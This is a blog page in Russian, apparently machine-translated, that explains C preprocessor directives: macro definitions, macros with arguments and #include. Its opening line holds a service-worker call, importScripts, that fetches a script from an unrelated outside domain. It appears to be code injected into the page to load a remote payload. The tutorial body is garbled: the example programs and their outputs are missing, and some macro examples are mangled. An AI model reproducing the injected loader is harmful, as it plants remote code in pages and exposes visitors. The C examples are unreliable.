google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Директивы препроцессора в Си - Часть 1

Программа проходит несколько этапов, прежде чем будет выполнена. Программа, которую мы пишем, преобразуется в исходный код с помощью текстового редактора, который хранится с расширением .C . После этого он преобразуется в расширенный исходный код с помощью препроцессора, который хранится с расширением .I . Теперь этот расширенный исходный код преобразуется в объектный код с помощью компилятора, который хранится с расширением .OBJ . После этого он преобразуется в исполняемый код с помощью Linker и сохраняется с расширением .EXE .
Директивы препроцессора в Си - Часть 1

Директивы препроцессора в Си

Директива препроцессора - это инструмент подстановки текста, который инструктирует компилятор предварительно обрабатывать нашу программу перед ее фактической компиляцией. Каждый препроцессор C начинается с символа #. Обычно они определяются в начале программы сразу после заголовочных файлов. Но вы можете определить их в любом месте программы.

Типы директив препроцессора в C

Существует четыре типа директив препроцессора, которые приведены ниже.
1. Макросы 
2. Включение файлов 
3. Условная компиляция 
4. Разные директивы

макрос

Макросы обычно используются, чтобы дать общее имя значениям, которые много раз используются в программе. Или мы можем сказать, что макросы используются для определения символических констант. Рассмотрим программу ниже, чтобы понять это.

Выход
макрос
Очки для запоминания
  • Макросы всегда начинаются с #define . В нашей программе #define PI 3.14является определением макроса. Где бы ни встречался PI в программе, он заменяется на 3.14. 
  • При компиляции программы все определения макросов заменяются значениями, которые используются с #define. Это делается в процессе, когда исходный код преобразуется в расширенный исходный код.
  • Не добавляйте точку с запятой в конце.
  • Обычно макросы записываются в одну строку. Если вы хотите записать его в несколько строк, то вам нужно использовать оператор продолжения макроса, т.е. Пример для этого приведен ниже.
Примеры #define ИЛИ || #define CHECK (a> 10 && a <20) #define MSG printf («Работает нормально»)





Макросы с аргументами

Макросы с аргументами аналогичны функциям с аргументами. Рассмотрим приведенную ниже программу, чтобы понять, как она работает.
Выход
Макросы с аргументами
Очки для запоминания
  • В приведенной выше программе я использовал макросы с аргументом с оператором #define PERI (x) (2 * 3.14 * x)
  • Будьте осторожны при определении макросов с аргументами. В приведенном выше примере между PERI и (x) не должно быть пробела. Тело макроса должно быть заключено в скобки.
  • Всякий раз, когда в нашей программе выполняется вызов макроса, его оператор вызова заменяется его телом.
  • Они быстры по сравнению с функциями, потому что управление не переходит к определению макроса, все тело приходит в место, где выполняется вызов.

Включение файлов

Как следует из названия, эта директива препроцессора используется для включения всего содержимого файла, включаемого в исходный код. До сих пор мы использовали директивы препроцессора, такие как #include <stdio.h>, который включает в себя все содержимое заголовочного файла stdio.h. Это предопределенные заголовочные файлы, вы также можете создать свои собственные и затем включить их в свою программу.
Примеры #include <math.h> #include <stdlib.h>



Почему это используется?
Это, конечно, хороший вопрос. Писать полную программу в одном файле не очень хорошая практика программирования. При написании очень сложной программы рекомендуется разбить программу на файлы и включить их в начале. Иногда макросы программы также достаточно велики, и их можно хранить только в некоторых файлах. Так что это в основном используется для лучшего управления программой C.

Комментариев нет:

Отправить комментарий